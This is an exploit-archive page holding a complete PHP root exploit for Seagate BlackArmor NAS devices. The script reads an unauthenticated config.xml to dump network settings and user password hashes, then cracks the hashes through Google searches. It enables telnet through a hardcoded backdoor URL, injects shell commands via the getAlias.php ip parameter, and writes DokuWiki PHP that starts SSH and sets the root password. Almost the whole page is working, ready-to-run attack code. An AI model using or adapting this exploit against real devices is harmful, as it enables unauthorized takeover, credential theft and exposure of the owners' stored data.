Seagate BlackArmor - Root Exploit



EKU-ID: 3750 CVE: OSVDB-ID:
Author: Jeroen - IT Nerdbox Published: 2014-01-07 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


<?php
  
   
  
########################################################################
  
##     Seagate Black Armor Exploit by J. Diel <jeroen@nerdbox.it>     ##
  
########################################################################
  
## Public Release v0.2
  
########################################################################
  
   
  
abstract class MD5Decryptor {
  
    abstract public function probe($hash);
  
   
  
    public static function plain($hash, $class = NULL)
  
    {
  
        if ($class === NULL) {
  
            $class = get_called_class();
  
        } else {
  
            $class = sprintf("MD5Decryptor%s", $class);
  
        }
  
        $decryptor = new $class();
  
   
  
        if (count($hash) > 1) {
  
            foreach ($hash as &$one) {
  
                $one = $decryptor->probe($one);
  
            }
  
        } else {
  
            $hash = $decryptor->probe($hash);
  
        }
  
        return $hash;
  
    }
  
   
  
    public function dictionaryAttack($hash, array $wordlist)
  
    {
  
        $hash = strtolower($hash);
  
        foreach ($wordlist as $word) {
  
            if (md5($word) === $hash)
  
                return $word;
  
        }
  
    }
  
}
  
   
  
abstract class MD5DecryptorWeb extends MD5Decryptor {
  
    protected $url;
  
   
  
    public function getWordlist($hash)
  
    {
  
        $list = FALSE;
  
        $url = sprintf($this->url, $hash);
  
        if ($response = file_get_contents($url)) {
  
            $list[$response] = 1;
  
            $list += array_flip(preg_split("/\s+/", $response));
  
            $list += array_flip(preg_split("/(?:\s|\.)+/", $response));
  
            $list = array_keys($list);
  
        }
  
        return $list;
  
    }
  
    public function probe($hash) {
  
        $hash = strtolower($hash);
  
        return $this->dictionaryAttack($hash, $this->getWordlist($hash));
  
    }
  
}
  
   
  
class MD5DecryptorGoogle extends MD5DecryptorWeb {
  
    protected $url = "http://www.google.com/search?q=%s";
  
}
  
   
  
function portcheck($host, $port) {
  
  $connection = @fsockopen($host, $port);
  
   
  
  if (is_resource($connection)) {
  
    $port_status = "reachable";
  
    fclose($connection);
  
  } else {
  
      $port_status = "unreachable";
  
  }
  
  return $port_status;
  
}
  
   
  
function authenticate($url, $username, $password) {
  
  $ch = curl_init();
  
   
  
  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
  
  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
  
  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
  
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
  
   
  
  curl_setopt($ch, CURLOPT_HEADER, 1);
  
  curl_setopt($ch, CURLOPT_POST, true);
  
  curl_setopt($ch, CURLOPT_POSTFIELDS, "p_user=" . $username . "&p_pass=" .
$password);
  
  curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.txt");
  
  curl_setopt($ch, CURLOPT_URL, $url);
  
   
  
  curl_exec($ch);
  
  curl_close($ch);
  
}
  
   
  
function RemoteCodeExec($url, $command) {
  
     $url = $url . "/backupmgt/getAlias.php?ip=" . urlencode("xx
/etc/passwd; ") . urlencode($command) . ";";
  
     $handle = fopen($url, "r");
  
}
  
   
  
function RemoteFileExist($url) {
  
     $ch = curl_init($url);
  
   
  
     curl_setopt($ch, CURLOPT_NOBODY, true);
  
     curl_exec($ch);
  
   
  
     $retcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
  
     return $retcode;
  
     curl_close($ch);
  
}
  
   
  
function getWikiSecurityToken($url) {
  
  $curl = curl_init($url);
  
  curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);
  
  curl_setopt($curl, CURLOPT_AUTOREFERER, TRUE);
  
  curl_setopt($curl, CURLOPT_FOLLOWLOCATION, TRUE);
  
  curl_setopt($curl, CURLOPT_COOKIEFILE, "cookie.txt");
  
   
  
  $html = curl_exec($curl);
  
   
  
  $doc = new DOMDocument;
  
  @$doc->loadHTML($html);
  
  $tags = $doc->getElementsByTagName('input');
  
   
  
  foreach ($tags as $tag) {
  
      $search = $tag->getAttribute('value');
  
      if (strlen($search) == "32") {
  
           return $search;
  
           exit;
  
      }
  
   }
  
}
  
   
  
$version = "0.2";
  
   
  
if (!isset($argv[1])) {
  
   
  
echo "------------------------------------------------------------------\n";
  
echo "  Seagate BlackArmor NAS Exploit v" . $version . " (c) 2013 - " .
date('Y') . " by J. Diel \n";
  
echo "  IT Nerdbox :: http://www.nerdbox.it :: jeroen@nerdbox.it\n";
  
echo "------------------------------------------------------------------\n";
  
echo "\nUsage: php " . $argv[0] . " <url>\n\n";
  
echo "Example Usage: php " . $argv[0] . " http://<targetip | host>\n";
  
die();
  
}
  
   
  
$curl = curl_init();
  
$url = $argv[1] . "/admin/config.xml";
  
   
  
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
  
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2);
  
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  
curl_setopt($curl, CURLOPT_URL, $url);
  
   
  
$xmldata = curl_exec($curl);
  
$http_status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
  
curl_close($curl);
  
   
  
if ($http_status == "0") {
  
                echo "[Error]: The host was not found!\n\n";
  
                die();
  
}
  
   
  
if ($http_status == "404") {
  
                echo "[Error]: The page was not found! Are you sure this is
a Seagate BlackArmor NAS?\n";
  
                die();
  
}
  
   
  
$xml = new SimpleXMLElement($xmldata);
  
   
  
$internal_ip = $xml->xpath("network/lan/ip");
  
$internal_sn = $xml->xpath("network/lan/netmask");
  
$internal_gw = $xml->xpath("network/lan/gateway");
  
$dns0 = $xml->xpath("network/lan/dns0");
  
$dns1 = $xml->xpath("network/lan/dns1");
  
   
  
echo "------------------------------------------------------------------\n";
  
echo "- Network Details: \n";
  
echo "------------------------------------------------------------------\n";
  
   
  
echo "- IP Address         : " . $internal_ip[0] . "/" . $internal_sn[0] .
"\n";
  
echo "- Gateway / Router   : " . $internal_gw[0] . "/" . $internal_sn[0] .
"\n";
  
echo "- 1st DNS Server     : " . $dns0[0] . "\n";
  
echo "- 2nd DNS Server     : " . $dns1[0] . "\n\n";
  
   
  
   
  
$serv_pnp = $xml->xpath("network/service/upnp/enable");
  
$serv_ftp = $xml->xpath("network/service/ftp/enable");
  
$serv_ftp_port = $xml->xpath("network/service/ftp/fport");
  
$serv_nfs = $xml->xpath("network/service/nfs/enable");
  
   
  
echo "------------------------------------------------------------------\n";
  
echo "- Network Services: \n";
  
echo "------------------------------------------------------------------\n";
  
$host = explode("/", $argv[1]);
  
$host = $host[2];
  
   
  
echo "- uPNP               : " . $serv_pnp[0] . "\n";
  
echo "- FTP                : " . $serv_ftp[0] . " (port: " .
$serv_ftp_port[0] . " - " . portcheck("$host", "$serv_ftp_port[0]") . ")\n";
  
echo "- NFS                : " . $serv_nfs[0] . "\n\n";
  
   
  
$shares = $xml->xpath("shares/nasshare/sharename");
  
$cnt = count($shares);
  
   
  
echo "------------------------------------------------------------------\n";
  
echo "- Network Shares: " . $cnt . "\n";
  
echo "------------------------------------------------------------------\n";
  
   
  
for ($i=0; $i<$cnt; $i++) {
  
  echo "- " . $shares[$i] . "\n";
  
}
  
echo "\n";
  
   
  
$username = $xml->xpath("access/users/nasuser/username");
  
   
  
while(list( , $node) = each ($username)) {
  
  $users[] = $node;
  
}
  
   
  
$md5hash = $xml->xpath("access/users/nasuser/htusers");
  
   
  
while(list( , $node) = each ($md5hash)) {
  
 $md5s[] = $node;
  
}
  
   
  
$max = count($users);
  
   
  
echo "------------------------------------------------------------------\n";
  
echo "- User hashes found: \n";
  
echo "------------------------------------------------------------------\n";
  
   
  
$pwdcount = 0;
  
   
  
for ($i=0; $i<$max; $i++) {
  
   
  
  $file = "md5.hash";
  
  $fh = fopen($file, (file_exists($file)) ? "a" : "w");
  
  fclose($fh);
  
   
  
  $contents = file_get_contents($file);
  
  $pattern = preg_quote($md5s[$i], "/");
  
  $pattern = "/^.*$pattern.*\$/m";
  
   
  
  if (preg_match_all($pattern, $contents, $matches)){
  
     $pwdcount++;
  
   
  
     if ($users[$i] != "admin") {
  
     } else {
  
                $admin_found = "1";
  
        $admin_password = explode(":", implode("\n", $matches[0]));
  
     }
  
     echo "- " . implode("\n", $matches[0]) . " (username: " . $users[$i] .
")\n";
  
     $next_user = $users[$i];
  
     $next_pass = explode(":", implode("\n", $matches[0]));
  
   
  
  } else {
  
      $hashes[] = array("$md5s[$i]", "$users[$i]");
  
      echo "- " . $md5s[$i] . " (username: " . $users[$i] . ")\n";
  
  }
  
}
  
   
  
if ($pwdcount == 0) {
  
      echo
"\n------------------------------------------------------------------\n";
  
      echo "- No passwords could be found in local storage! \n";
  
      echo
"------------------------------------------------------------------\n";
  
     echo "- Search for hashes online?  Type 'yes' to continue: ";
  
   
  
      $handle = fopen ("php://stdin","r");
  
      $line = fgets($handle);
  
   
  
      if(trim($line) == "yes"){
  
                $decryptors = array("Google");
  
   
  
        echo
"\n------------------------------------------------------------------\n";
  
        echo "- Searching online for passwords: \n";
  
        echo
"------------------------------------------------------------------\n";
  
                foreach ($hashes as $hash) {
  
                                echo "- " . $hash[0];
  
                                foreach($decryptors as $decrytor) {
  
                                if (NULL !== ($plain =
MD5Decryptor::plain($hash[0], $decrytor))) {
  
                                                echo " - found: $plain";
  
                                                                $pwdcount++;
  
   
  
                                                                $next_user =
$hash[1];
  
                                                                $next_pass =
$plain;
  
   
  
                                                                if
($next_user == "admin") {
  
   
$admin_found = "1";
  
   
$admin_pass = $plain;
  
                                                                }
  
   
  
                                                                $fh =
fopen($file, (file_exists($file)) ? "a" : "w");
  
                                                                fwrite($fh,
$hash[0] . ":" . $plain . "\n");
  
                                                                fclose($fh);
  
                                                break;
  
                                } else {
  
                                                    echo " - not found!";
  
                                                 }
  
                                }
  
                                echo "\n";
  
                }
  
   
  
      }
  
}
  
   
  
if ($pwdcount != 0) {
  
  echo "\nTotal number of passwords found: " . $pwdcount . "\n\n";
  
  echo
"------------------------------------------------------------------\n";
  
  echo "- Services: \n";
  
  echo
"------------------------------------------------------------------\n";
  
   
  
  if (isset($admin_found)) {
  
                $telnet_user = "admin";
  
                if (isset($admin_password[1])) {
  
                                $telnet_pass = $admin_password[1];
  
                } else {
  
                                $telnet_pass = $admin_pass;
  
                }
  
  } else {
  
                $telnet_user = $next_user;
  
                $telnet_pass = $next_pass[1];
  
  }
  
   
  
  $telnet_status = portcheck("$host", "23");
  
   
  
  if ($telnet_status == "reachable") {
  
                echo "- The telnet daemon is already running: [skipped]\n";
  
  } else {
  
   
  
      echo "- Enable the telnet daemon? Type 'yes' to continue: ";
  
   
  
      $handle = fopen ("php://stdin","r");
  
      $line = fgets($handle);
  
   
  
      if(trim($line) != "yes"){
  
      } else {
  
          echo "- Trying to start the telnet daemon   : ";
  
   
  
          $url = $argv[1];
  
   
  
          authenticate($url, $telnet_user, $telnet_pass);
  
   
  
          $ch = curl_init();
  
          curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
  
          curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
  
          curl_setopt($ch, CURLOPT_POST, false);
  
          curl_setopt($ch, CURLOPT_HTTPHEADER,
  
                array(
  
                  "Authorization: Basic SmVXYWI6c3lzYWRtaW4="
  
          ));
  
          curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  
          curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.txt");
  
          curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.txt");
  
          curl_setopt($ch, CURLOPT_URL, $url .
"/admin/sxmJEWAB/SXMjewab.php?telnet=jewab&debug=1");
  
          curl_setopt($ch, CURLOPT_TIMEOUT, 5);
  
          curl_setopt($ch, CURLOPT_CONNECTTIMEOUT,5);
  
          curl_exec($ch);
  
          curl_close($ch);
  
   
  
          echo "[done]\n";
  
          echo "- Verifiying telnet daemon status     : ";
  
   
  
          $telnet_status = portcheck("$host", "23");
  
          if ($telnet_status == "reachable") {
  
                    echo "[verified]\n";
  
          } else {
  
                      echo "[error]\n";
  
                      echo "- This is possible if portforwarding is not
enabled for telnet\n";
  
          }
  
       }
  
  }
  
   
  
  $xml = new SimpleXMLElement($xmldata);
  
  $wiki = $xml->xpath("enableddokuwikiserver");
  
  $wiki = $wiki[0];
  
   
  
  if ($wiki == "yes") {
  
        echo "- The Wiki server is enabled          : [skipped]\n";
  
  } else {
  
        echo "- Enabeling the Wiki server           : ";
  
   
  
        $url = $argv[1];
  
       $ch = curl_init();
  
   
  
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
  
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
  
        curl_setopt($ch, CURLOPT_POST, true);
  
        curl_setopt($ch, CURLOPT_POSTFIELDS,
'enablewiki=yes&agree=yes&btn=Submit');
  
        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  
        curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
  
        curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.txt");
  
        curl_setopt($ch, CURLOPT_URL, $url . '/admin/dokuwiki_service.php');
  
   
  
        curl_exec($ch);
  
        curl_close($ch);
  
   
  
        echo "[done]\n";
  
  }
  
   
  
  echo "- Retrieving wiki security token      : ";
  
  $sectok = getWikiSecurityToken($argv[1] .
"/wiwiki/doku.php?do=login&id=start");
  
   
  
  if (isset($sectok)) {
  
    echo "[found]\n";
  
  } else {
  
     echo "[Not Found]\n";
  
     exit;
  
  }
  
   
  
  if (isset($admin_found)) {
  
                echo "- Logging in to the wiki server       : ";
  
        $url = $argv[1];
  
        $ch = curl_init();
  
   
  
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
  
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
  
        curl_setopt($ch, CURLOPT_POST, true);
  
        curl_setopt($ch, CURLOPT_POSTFIELDS, "u=" . $telnet_user . "&p=" .
$telnet_pass . "§ok=" . $sectok ."&do=login&id=start");
  
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  
                curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
  
                curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
  
   
  
        curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.txt");
  
        curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.txt");
  
       curl_setopt($ch, CURLOPT_URL, $url . "/wiwiki/doku.php");
  
   
  
        curl_exec($ch);
  
                $http_status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
  
        curl_close($ch);
  
   
  
                echo "[done]\n";
  
   
  
        echo "- Enabling PHP in wiki server         : ";
  
                $sectok = getWikiSecurityToken($url .
"/wiwiki/doku.php?id=start&do=admin&page=config");
  
   
  
        $ch = curl_init();
  
   
  
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
  
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
  
        curl_setopt($ch, CURLOPT_POST, true);
  
        curl_setopt($ch, CURLOPT_POSTFIELDS, "config[phpok]=1§ok=" .
$sectok . "&do=admin&page=config&save=1&submit=Save");
  
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  
        curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
  
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
  
   
  
        curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.txt");
  
        curl_setopt($ch, CURLOPT_URL, $url . "/wiwiki/doku.php?id=start");
  
   
  
        curl_exec($ch);
  
        curl_close($ch);
  
   
  
        echo "[done]\n";
  
                echo
"\n------------------------------------------------------------------\n";
  
                echo "- Rooting the NAS: \n";
  
        echo
"------------------------------------------------------------------\n";
  
        echo "- Enter the new root password: ";
  
   
  
        $handle = fopen ("php://stdin","r");
  
        $line = fgets($handle);
  
   
  
        if(trim($line) == ""){
  
                  $root_password = "mypassword";
  
                  echo "- No root password chosen! Setting our own: '" .
$root_password . "'\n";
  
        } else {
  
                   $root_password = preg_replace( "/\r|\n/", "", $line);
  
        }
  
   
  
        $ch = curl_init();
  
   
  
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
  
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
  
        curl_setopt($ch, CURLOPT_POST, true);
  
        curl_setopt($ch, CURLOPT_POSTFIELDS, "sectok=" . $sectok .
"&id=playground:playground&do[save]=Save&wikitext=<php>exec(\"/usr/sbin/drop
bear start;\"); exec(\"echo '" . $root_password . "' | passwd
--stdin;\");</php>");
  
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  
        curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
  
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
  
   
  
        curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.txt");
  
        curl_setopt($ch, CURLOPT_URL, $url . "/wiwiki/doku.php");
  
        curl_exec($ch);
  
        curl_close($ch);
  
   
  
                echo "- The devices is rooted! The password is: " .
$root_password ."\n";
  
                echo "- The SSH daemon was also enabled!!\n\n";
  
   
  
  } else {
  
                echo "- Can't root the device due to lack of admin
credentials\n";
  
   
  
        echo "- However, do you want to reset the admin password? [yes]:"
  
        $handle = fopen ("php://stdin","r");
  
        $line = fgets($handle);
  
   
  
        if(trim($line) == "yes") {
  
   
  
        $httpResponseCode = RemoteFileExist($argv[1] .
"/backupmgt/immediate_log/instance.log");
  
   
  
                if ($httpResponseCode == "200") {
  
                        RemoteCodeExec($argv[1], "sed '11,16d'
/proto/SxM_webui/d41d8cd98f00b204e9800998ecf8427e.php >
/proto/SxM_webui/reset.php");
  
                        RemoteCodeExec($argv[1], "chmod 755
/proto/SxM_webui/reset.php");
  
   
  
                        echo "- Now go to: " . $argv[1] . "/reset.php to
reset the default credentials to admin/admin.\n";
  
                        exit;
  
                } else {
  
                        echo "Something went wrong, the HTTP error code is:
" . $httpResponseCode . "\n"; 
  
                }
  
        } else {
  
                echo "Exit....\n";
  
                exit
  
        }
  
  }
  
   
  
} else {
  
                echo "- No passwords were found!\n";
  
   
  
        echo "- However, do you want to reset the admin password? [yes]:"
  
        $handle = fopen ("php://stdin","r");
  
        $line = fgets($handle);
  
   
  
        if(trim($line) == "yes") {
  
   
  
                $httpResponseCode = RemoteFileExist($argv[1] .
"/backupmgt/immediate_log/instance.log");
  
   
  
                                if ($httpResponseCode == "200") {
  
                                                RemoteCodeExec($argv[1],
"sed '11,16d' /proto/SxM_webui/d41d8cd98f00b204e9800998ecf8427e.php >
/proto/SxM_webui/reset.php");
  
                                RemoteCodeExec($argv[1], "chmod 755
/proto/SxM_webui/reset.php");
  
   
  
                                                echo "- Now go to: " .
$argv[1] . "/reset.php to reset the default credentials to admin/admin.\n";
  
                                                exit;
  
                                } else {
  
                                echo "Something went wrong, the HTTP error
code is: " . $httpResponseCode . "\n"; 
  
                                }
  
        } else {
  
                                echo "Exit....\n";
  
                                exit
  
                }
  
}
  
   
  
?>